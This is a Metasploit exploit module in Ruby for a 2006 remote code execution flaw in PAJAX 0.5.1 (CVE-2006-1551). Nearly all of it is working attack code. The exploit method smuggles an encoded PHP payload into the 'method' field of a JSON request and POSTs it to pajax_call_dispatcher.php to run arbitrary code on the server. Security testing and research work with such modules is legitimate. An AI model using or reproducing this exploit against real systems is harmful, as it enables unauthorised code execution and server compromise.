PAJAX Remote Command Execution

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::Tcp  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,   
'Name' => 'PAJAX Remote Command Execution',  
'Description' => %q{  
RedTeam has identified two security flaws in PAJAX (<= 0.5.1).  
It is possible to execute arbitrary PHP code from unchecked user input.  
Additionally, it is possible to include arbitrary files on the server  
ending in ".class.php".   
},  
'Author' => [ 'Matteo Cantoni <goony[at]nothink.org>', 'hdm' ],  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>  
[  
['CVE', '2006-1551'],  
['OSVDB', '24618'],  
['BID', '17519'],  
['URL', 'http://www.redteam-pentesting.de/advisories/rt-sa-2006-001.php'],  
],  
'Privileged' => false,  
'Payload' =>  
{  
'DisableNops' => true,  
'Compat' =>   
{  
'ConnectionType' => 'find',  
},  
'Space' => 4000,  
},  
'Platform' => 'php',  
'Arch' => ARCH_PHP,  
'Targets' => [[ 'Automatic', { }]],  
'DisclosureDate' => 'Mar 30 2006',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('URI', [true, "The full URI path to pajax_call_dispatcher.php", "/pajax/pajax/pajax_call_dispatcher.php"]),  
OptString.new('MOD', [true, "The PAJAX module name", "Calculator"])  
], self.class)  
end  
  
  
def exploit  
  
args = %Q!{ "id": "bb2238f1186dad8d6370d2bab5f290f71", "className": "#{datastore['MOD']}", "method": "add(1,1);#{payload.encoded};$obj->add", "params": ["1", "5"] }!  
  
res = send_request_cgi({  
'uri' => datastore['URI'],  
'method' => 'POST',  
'data' => args,  
'ctype' => 'text/x-json'  
}, 25)  
  
if (res)  
print_status("The server returned: #{res.code} #{res.message}")  
else  
print_status("No response from the server")  
end  
end  
  
end  
  
`